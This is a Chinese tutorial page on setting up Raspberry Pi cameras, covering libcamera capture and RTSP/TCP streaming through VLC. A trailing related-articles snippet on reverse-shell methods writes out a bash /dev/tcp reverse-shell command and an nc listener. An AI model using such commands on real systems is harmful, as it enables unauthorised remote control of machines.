当前位置: 首页 > news >正文

Raspbian安装摄像头

Raspbian安装摄像头

  • 1. 源由
  • 2. 摄像头
    • 2.1 选型
    • 2.2 系统
    • 2.3 安装
  • 3. 配置&命令
    • 3.1 命令
    • 3.2 配置
  • 4. 测试
    • 4.1 拍照
      • 4.1.1 libcamera-jpeg
      • 4.1.2 libcamera-still
    • 4.2 视频流
      • 4.2.1 RTSP流
      • 4.2.2 TCP流
  • 5. 参考资料

1. 源由

家里闲置两块树莓派,打算做个WiFi视频流RTSP/RTP:

  • Raspberry Pi Zero W
  • Raspberry Pi 3B+

注:后续打算上天,帮我在模拟航模上拍点高清视频。

2. 摄像头

2.1 选型

本来想上一个热成像摄像头,看看夜景,奈何并非这么简单,而且价格也高。就不整那个玩意了。

大白天,我们选了两款:

  • 鱼眼 OV5647 130° 1.85mm 非夜视
    在这里插入图片描述

  • 树莓派原装 V2 IMX219 NoIR
    在这里插入图片描述

2.2 系统

妥妥的原生态系统bullseye,目前来说,兼容性是比较好的。系统安装参考:Raspbian镜像无头烧录

  • 2022-09-22-raspios-bullseye-arm64-lite.img.xz

注:如果想使用其他系统,可以访问:raspios_lite_arm64

2.3 安装

  • Raspberry Pi Zero W
    在这里插入图片描述

  • Raspberry Pi 3B+
    在这里插入图片描述

3. 配置&命令

3.1 命令

新系统已经不支持raspistillraspivid了,更多用的是libcamera

$ libcamera-
libcamera-hello  libcamera-jpeg   libcamera-raw    libcamera-still  libcamera-vid
  1. libcamera-hello: 一个简单的“ Hello World”应用程序,该应用程序启动了相机预览流并在屏幕上显示。
  2. libcamera-jpeg: 一个简单的应用程序来运行预览窗口,然后捕获高分辨率静止图像。
  3. libcamera-still: 更复杂的静止图像捕获应用程序,该应用程序模拟了Raspistill的更多特征。
  4. libcamera-vid: 视频捕获应用程序。
  5. libcamera-raw: 直接从传感器捕获原始(未加工的拜耳)框架的基本应用程序。

注:以前raspistill: command not found命令已经被逐渐淘汰,详见:raspios_armhf/release_notes.txt。

2021-10-30:

  • New default camera subsystem based on libcamera
  • New camera demo applications (libcamera-still and libcamera-vid) have replaced raspistill and raspivid
  • Legacy camera subsystem removed from 64-bit RPi OS (still available on 32-bit)

3.2 配置

$ sudo nano /boot/config.txt
  • Step 1:将camera-auto-detect=1修改camera_auto_detect=0

  • Step 2:根据摄像头不同型号,添加dtoverlay驱动设置到/boot/config.txt文件中。

鱼眼 OV5647 130° 1.85mm 非夜视:dtoverlay=ov5647
树莓派原装 V2 IMX219 NoIR:dtoverlay=imx219

在这里插入图片描述

4. 测试

4.1 拍照

拍照正常,基本驱动应该就正常了,详细的指令可以参考:Pi5-IMX219, www.waveshare.com

4.1.1 libcamera-jpeg

  • 全像素JPEG拍照:
$ libcamera-jpeg -o test.jpg
  • 指定宽度高度拍照:
$ libcamera-jpeg -o test.jpg -t 2000 --width 640 --height 480
  • 指定曝光和增益拍照:// exposure 20ms, gain 1.5x
$ libcamera-jpeg -o test.jpg -t 2000 --shutter 20000 --gain 1.5
  • 指定EV补偿拍照:
$ libcamera-jpeg --ev -0.5 -o darker.jpg
$ libcamera-jpeg --ev 0 -o normal.jpg
$ libcamera-jpeg --ev 0.5 -o brighter.jpg

4.1.2 libcamera-still

  • 测试命令:
$ libcamera-still -o test.jpg
  • 不同编码格式拍照:
$ libcamera-still -e png -o test.png
$ libcamera-still -e bmp -o test.bmp
$ libcamera-still -e rgb -o test.data
$ libcamera-still -e yuv420 -o test.data
  • 原始数据保存:
$ libcamera-still -r -o test.jpg
  • 长时间曝光拍照:
$ libcamera-still -o long_exposure.jpg --shutter 100000000 --gain 1 --awbgains 1,1 --immediate

在这里插入图片描述

4.2 视频流

  • Step 1:安装vlc组件
$ sudo apt-get install vlc

4.2.1 RTSP流

  • Step 2:启动rtsp服务端
$ libcamera-vid -t 0 --inline -o - | cvlc stream:///dev/stdin --sout '#rtp{sdp=rtsp://:8554/stream1}' :demux=h264
  • Step 3:启动VLC播放器

在这里插入图片描述

rtsp://192.168.1.201:8554/stream1
  • Step 4:确认结果

在这里插入图片描述

4.2.2 TCP流

  • Step 2:启动TCP服务端
$ libcamera-vid -t 0 --inline --listen -o tcp://0.0.0.0:8554
  • Step 3:启动VLC播放器

在这里插入图片描述

tcp/h264://192.168.1.201:8554
  • Step 4:确认结果

在这里插入图片描述

5. 参考资料

【1】Raspbian镜像无头烧录
【2】Pi5-IMX219, www.waveshare.com
【3】Introducing the Raspberry Pi Cameras

相关文章:

Raspbian安装摄像头

Raspbian安装摄像头 1. 源由2. 摄像头2.1 选型2.2 系统2.3 安装 3. 配置&命令3.1 命令3.2 配置 4. 测试4.1 拍照4.1.1 libcamera-jpeg4.1.2 libcamera-still 4.2 视频流4.2.1 RTSP流4.2.2 TCP流 5. 参考资料 1. 源由 家里闲置两块树莓派,打算做个WiFi视频流RTS…...

迅腾文化用网络集成化生态系统助力品牌之路的坚实后盾

商业竞争激烈,品牌不仅是企业的标志和形象,更是其核心价值和竞争力的体现。然而,企业在品牌推广过程中面临着诸多如缺乏有效的渠道管理、品牌形象模糊以及竞争激烈的市场环境等。这些阻碍着企业的品牌发展和市场占有率的提升。本文将通过企业…...

2401C++,C++编译时自动加密

编译时加密串 编译时加密串,运行时动态解密.此自定义加密算法可增加破解的难度,因为攻击者不仅需要逆向工程代码,还需要理解加密算法. 这样对代码的改动小,不影响代码可读性. 下面是使用boost.hana编译时加密串的示例: #include <string> #include <iostream> #i…...

vue 自定义网页图标 favicon.ico 和 网页标题

效果预览 1. 添加配置 vue.config.js 在 module.exports { 内添加 // 自定义网页图标pwa: {iconPaths: {favicon32: "./favicon.ico",favicon16: "./favicon.ico",appleTouchIcon: "./favicon.ico",maskIcon: "./favicon.ico",msTil…...

JOSEF约瑟端子排中间继电器 DZY-204 DC110V 导轨安装,板前接线

DZY系列端子排中间继电器 系列型号&#xff1a; DZY-101端子排中间继电器 DZY-104端子排中间继电器 DZY-105端子排中间继电器 DZY-301端子排中间继电器 DZY-106端子排中间继电器 DZY-401端子排中间继电器 DZY-204端子排中间继电器 一、 概述 DZY-204端子排中间继电器用于各种…...

VMware workstation搭建与安装AlmaLinux-9.2虚拟机

VMware workstation搭建与安装AlmaLinux-9.2虚拟机 适用于需要在VMware workstation平台安装AlmaLinux-9.2&#xff08;最小化安装、无图形化界面&#xff09;虚拟机。 1. 安装准备 1.1 安装平台 Windows 11 1.2. 软件信息 软件名称软件版本安装路径VMware-workstation 1…...

小程序基础学习(js混编)

在组件中使用外部js代码实现数据改变 先创建js文件 编写一些组件代码 编写外部js代码 在组件的js中引入外部js 在 app.json中添加路径规则 组件代码 <!--components/my-behavior/my-behavior.wxml--> <view><view>当前计数为{{count}}</view> <v…...

git秘钥过期 ERROR: Your SSH key has expired

文章目录 1、错误提示Your SSH key has expired2、登录Github确认3、重新设置秘钥 1、错误提示Your SSH key has expired 使用git命令时遇到Github 的 SSH Key秘钥过期&#xff0c;提示错误ERROR: Your SSH key has expired 2、登录Github确认 首先登录Github查看&#xff…...

系列十三、查询数据库中某个库、表、索引等所占空间的大小

一、information_schema数据库 1.1、概述 information_schema数据库是MySQL出厂默认带的一个数据库&#xff0c;不管我们是在Linux中安装MySQL还是在Windows中安装MySQL&#xff0c;安装好后都会有一个数据库information_schema&#xff0c;这个库中存放了其他库的所有信息。 …...

【论文解读】SiamMAE:用于从视频中学习视觉对应关系的 MAE 简单扩展

来源&#xff1a;投稿 作者&#xff1a;橡皮 编辑&#xff1a;学姐 论文链接&#xff1a;https://siam-mae-video.github.io/resources/paper.pdf 项目主页&#xff1a;https://siam-mae-video.github.io/ 1.背景 时间是视觉学习背景下的一个特殊维度&#xff0c;它提供了一…...

Docker(Mysql)将数据库表封装进容器内

1、使用mysqldump命令&#xff0c;导出SQL文件&#xff1a; # dbName为待导出的数据库名称 mysqldump -h localhost -u root -p dbName --add-drop-table >./dump.sql2、构建镜像 2.1、编写Dockerflie文件 vim DockerfileDockerfile 内容如下&#xff1a; # 依赖的原始镜…...

细谈Type-C Port的Data Role、Power Role | 乐得瑞科技

一、Data Role协议通讯过程和工作原理 Data Role描述了数据传输的方向。在Type-C接口中&#xff0c;下行端口&#xff08;DFP&#xff09;可以作为Host或HUB&#xff0c;负责提供VBUS和VCONN&#xff0c;并接收数据。与之相对的上行端口&#xff08;UFP&#xff09;则作为Devi…...

团结引擎的安装

团结引擎有多种方式可以安装&#xff0c;具体可以参考团结引擎官方文档&#xff0c;这里我们使用最简单的安装方式&#xff0c;通过团结Hub来安装。 1. 安装 Tuanjie Hub 进入团结引擎官网&#xff0c;点击右上角的【下载Unity】&#xff0c;进入下载界面&#xff0c;选择“下载…...

SpringBoot读取配置文件中的内容

文章目录 1. 读取配置文件application.yml中内容的方法1.1 Environment1.2 Value注解1.3 ConfigurationProperties 注解1.4 PropertySources 注解&#xff0c;获取自定义配置文件中的内容&#xff0c;yml文件需要自行实现适配器1.5 YamlPropertiesFactoryBean 加载 YAML 文件1.…...

反弹shell方法汇总

假设本机地址10.10.10.11&#xff0c;监听端口443。 1、Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令&#xff1a; bash -i >& /dev/tcp/192.168.245.129/1234 0>&1 /bin/bash -i > /dev/tcp/154.21…...

三、电脑软件路径移动方式

一、电脑文件移动 当我们想整理硬盘或者移动软件时&#xff0c;常常会遇到多种多样的问题&#xff0c;下面就来说明一下我遇到的问题 1.桌面 解释&#xff1a;移动路径会导致桌面快捷方式失效&#xff0c;下面以图片解答如何恢复 原理&#xff1a;桌面快捷方式保存在C:\Users…...

基于JAVA+ssm智能旅游线路规划系统设计与实现【附源码】

基于JAVAssm智能旅游线路规划系统设计与实现【附源码】 &#x1f345; 作者主页 央顺技术团队 &#x1f345; 欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; &#x1f345; 文末获取源码联系方式 &#x1f4dd; 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql…...

在 Windows 11 上通过 Autoawq 启动 Mixtral 8*7B 大语言模型

在 Windows 11 上通过 Autoawq 启动 Mixtral 8*7B 大语言模型 0. 背景1. 安装依赖2. 开发 main.py3. 运行 main.py 0. 背景 看了一些文章之后&#xff0c;今天尝试在 Windows 11 上通过 Autoawq 启动 Mixtral 8*7B 大语言模型。 1. 安装依赖 pip install torch torchvision …...

C# 图解教程 第5版 —— 第24章 预处理指令

文章目录 24.1 什么是预处理指令24.2 基本规则24.3 符号指令&#xff08;#define、#undef &#xff09;24.4 条件编译&#xff08;#if、#else、#elif、#endif&#xff09;24.5 条件编译结构24.6 诊断指令&#xff08;#warning、#error&#xff09;24.7 行号指令&#xff08;#li…...

电商几乎每一次的调整,几乎都围绕着AI展开

在那个马云依然还掌舵着阿里这艘大船的年月里&#xff0c;因其天马行空的想法&#xff0c;在很多时候总是被冠以「外星人」的名头。 站在今天来看&#xff0c;所谓的「外星人」&#xff0c;或许更多地和当下风靡的「AI」有很多相似之处吧。 他&#xff0c;能洞察商业的内在规…...

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周&#xff0c;有很多同学在写期末Java web作业时&#xff0c;运行tomcat出现乱码问题&#xff0c;经过多次解决与研究&#xff0c;我做了如下整理&#xff1a; 原因&#xff1a; IDEA本身编码与tomcat的编码与Windows编码不同导致&#xff0c;Windows 系统控制台…...

网络六边形受到攻击

大家读完觉得有帮助记得关注和点赞&#xff01;&#xff01;&#xff01; 抽象 现代智能交通系统 &#xff08;ITS&#xff09; 的一个关键要求是能够以安全、可靠和匿名的方式从互联车辆和移动设备收集地理参考数据。Nexagon 协议建立在 IETF 定位器/ID 分离协议 &#xff08;…...

Docker 离线安装指南

参考文章 1、确认操作系统类型及内核版本 Docker依赖于Linux内核的一些特性&#xff0c;不同版本的Docker对内核版本有不同要求。例如&#xff0c;Docker 17.06及之后的版本通常需要Linux内核3.10及以上版本&#xff0c;Docker17.09及更高版本对应Linux内核4.9.x及更高版本。…...

React19源码系列之 事件插件系统

事件类别 事件类型 定义 文档 Event Event 接口表示在 EventTarget 上出现的事件。 Event - Web API | MDN UIEvent UIEvent 接口表示简单的用户界面事件。 UIEvent - Web API | MDN KeyboardEvent KeyboardEvent 对象描述了用户与键盘的交互。 KeyboardEvent - Web…...

跨链模式:多链互操作架构与性能扩展方案

跨链模式&#xff1a;多链互操作架构与性能扩展方案 ——构建下一代区块链互联网的技术基石 一、跨链架构的核心范式演进 1. 分层协议栈&#xff1a;模块化解耦设计 现代跨链系统采用分层协议栈实现灵活扩展&#xff08;H2Cross架构&#xff09;&#xff1a; 适配层&#xf…...

vue3 定时器-定义全局方法 vue+ts

1.创建ts文件 路径&#xff1a;src/utils/timer.ts 完整代码&#xff1a; import { onUnmounted } from vuetype TimerCallback (...args: any[]) > voidexport function useGlobalTimer() {const timers: Map<number, NodeJS.Timeout> new Map()// 创建定时器con…...

Robots.txt 文件

什么是robots.txt&#xff1f; robots.txt 是一个位于网站根目录下的文本文件&#xff08;如&#xff1a;https://example.com/robots.txt&#xff09;&#xff0c;它用于指导网络爬虫&#xff08;如搜索引擎的蜘蛛程序&#xff09;如何抓取该网站的内容。这个文件遵循 Robots…...

相机Camera日志分析之三十一:高通Camx HAL十种流程基础分析关键字汇总(后续持续更新中)

【关注我,后续持续新增专题博文,谢谢!!!】 上一篇我们讲了:有对最普通的场景进行各个日志注释讲解,但相机场景太多,日志差异也巨大。后面将展示各种场景下的日志。 通过notepad++打开场景下的日志,通过下列分类关键字搜索,即可清晰的分析不同场景的相机运行流程差异…...

成都鼎讯硬核科技!雷达目标与干扰模拟器,以卓越性能制胜电磁频谱战

在现代战争中&#xff0c;电磁频谱已成为继陆、海、空、天之后的 “第五维战场”&#xff0c;雷达作为电磁频谱领域的关键装备&#xff0c;其干扰与抗干扰能力的较量&#xff0c;直接影响着战争的胜负走向。由成都鼎讯科技匠心打造的雷达目标与干扰模拟器&#xff0c;凭借数字射…...

vue3+vite项目中使用.env文件环境变量方法

vue3vite项目中使用.env文件环境变量方法 .env文件作用命名规则常用的配置项示例使用方法注意事项在vite.config.js文件中读取环境变量方法 .env文件作用 .env 文件用于定义环境变量&#xff0c;这些变量可以在项目中通过 import.meta.env 进行访问。Vite 会自动加载这些环境变…...